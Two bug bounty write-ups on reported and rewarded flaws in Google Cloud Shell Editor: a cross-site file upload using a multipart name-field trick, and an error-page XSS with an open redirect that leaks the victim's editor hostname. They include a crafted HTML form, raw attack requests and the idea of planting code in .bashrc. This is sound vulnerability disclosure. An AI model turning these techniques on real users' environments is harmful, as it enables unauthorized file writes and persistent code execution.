[GCP] The File uploading CSRF in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.
The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the next urls:

• https://970-dot-000000-dot-devshell.appspot.com
• https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/

these urls are unique for every google user and the second url updates every time when user restart the cloud shell VM.

By the first url the editor protected from CSRF attack via X-XSRF-PROTECTED header. But when it opened by the second - the protection was missed.

The file uploading via CSRF

When I investigated the file uploading feature I found that it has no any protection from CSRF attacks and request can be sent from any origin. Here is the request for the file uploading:

POST /files HTTP/1.1
Host: devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970
Content-Length: 337
Cookie: auth_cookie
Content-Type: multipart/form-data; boundary=------WebKitFormBoundaryduZBRk1aIPiq0b1V

------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="target"

file:///home/userhome/folder
------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="upload"; filename="the_filename"

the_content_of_file
------WebKitFormBoundaryduZBRk1aIPiq0b1V--

It's the standart multipart request and can be sent from any origin and server will accept it (and will create the file with name "the_filename" and content "the_content_of_file" in /home/userhome/folder ).

The bug in multipart requests parsing

When I tried different variants of this upload request I found that the requests with the next line:

Content-Disposition: form-data; name="upload; filename=the_filename; x"

were executed sucessfully and files were created in my home directory. As you can see the difference with original is very small. But it makes the attack possible, because I can create the html input element with the "upload; filename=the_filename; x" as the name attribute and it will be valid. With quote separated fields it's not possible.

Here are examples of html form for craft this uploading request:

<form action="https://<user_devshell_domain>/files" enctype="multipart/form-data" method="POST" target="upload_iframe">
<input name="target" value="file:///home/userhome/folder">
<input name="upload; filename=the_filename; x" value="the content of file">
</form>

So, cool! I can create files in user devshell VM with my content. But for completed sucessfull attack it's not enougth and some questions must be solved:

1. How to know the domain name of victim's cloud shell editor for send this request to this?
2. What the content can be loaded via csrf and what kind of attack possible with this bug? XSS? RCE via CSRF?

How to know the victim's cloudshell hostname

When I tried to open editor's url without credentials https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/ server returns a 302 redirect to auth. Also if I tried to open not mine host - I was returned to my anyway after authorization. So, if the auth request to attacker VM will be initiated in iframe - the user will be redirected to his own editor anyway. The result of redirect can be hijacked via CSP reports. For this, attacker can craft a webpage with iframe ( with authorization request). Also this page must has the csp rules, what allow all domains instead of *.appspot.com  and *.cloudshell.dev. So, when an user will open this page he will be authorized in iframes (and redirected to editors domains) and attacker will got the csp reports with blocked uris (according with CSP rules of page they will contain the user cloudshell editor's domains ). Nice. The first problem is solved :-)

What the content can be loaded via csrf and what kind of attack possible with file uploading bug

The html files from VM can be opened with /mini-browser feature. By the next url:
https://970-dot-000000-dot-devshell.appspot.com/mini-browser/home/myusername/uploaded.html I saw my uploaded html and javascript was executed. Also this file could be loaded in iframe by the click in the interface. Nice. What this XSS allows to do? Via this XSS attacker can place some mailicous code in .bashrc file or other system files in user's home directory and this code will be runned every time when vm will be restarted. Nice impact :-)

The Final.

The next I described all steps in the report, crafted the POC page, made the video of the xss attack and attached this to report.

The google VRP team set the P1 priority to this report and after short waiting I got the 5K bounty :-)

Thanks :-)

[GCP] The XSS ( type II ) in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor can be opened by url https://970-dot-000000-dot-devshell.appspot.com where 000000 is unique id for every google user.

XSS in error pages

I found that the error pages print unescaped errors messages in response with 'text/html' in the 'content-type' header. It allows to make XSS attack (XSS type II).

Here are the vulnerable requests:

Leakage of hostname

For successfull attack an attacker needs to know the hostname of victim's editor. So, for this attack I found the next solution how to know it:
In the basic flow, the url
https://ssh.cloud.google.com/devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=%2F&clearSession=false
redirects user to his own editor domain. To the path from devshellProxyPath parameter.
The parameter devshellProxyPath was not validated perfectly by server and server allowed to redirect user to any domain. For e.g. for the request:

GET /devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=@attacker-domain&clearSession=false HTTP/1.1
Host: ssh.cloud.google.com

server returned the redirect to the next location:

https://970-dot-0000-dot-devshell.appspot.com@attacker-domain/

So, this way allows to attacker to know the victim's editor host. In current example it is: 970-dot-0000-dot-devshell.appspot.com

The Final. 

The next step I made the POC page and placed it on my server. Then I described all details in report and report got P1 priority.
And after a short waiting I got the 5K bounty :-)

Thanks :-)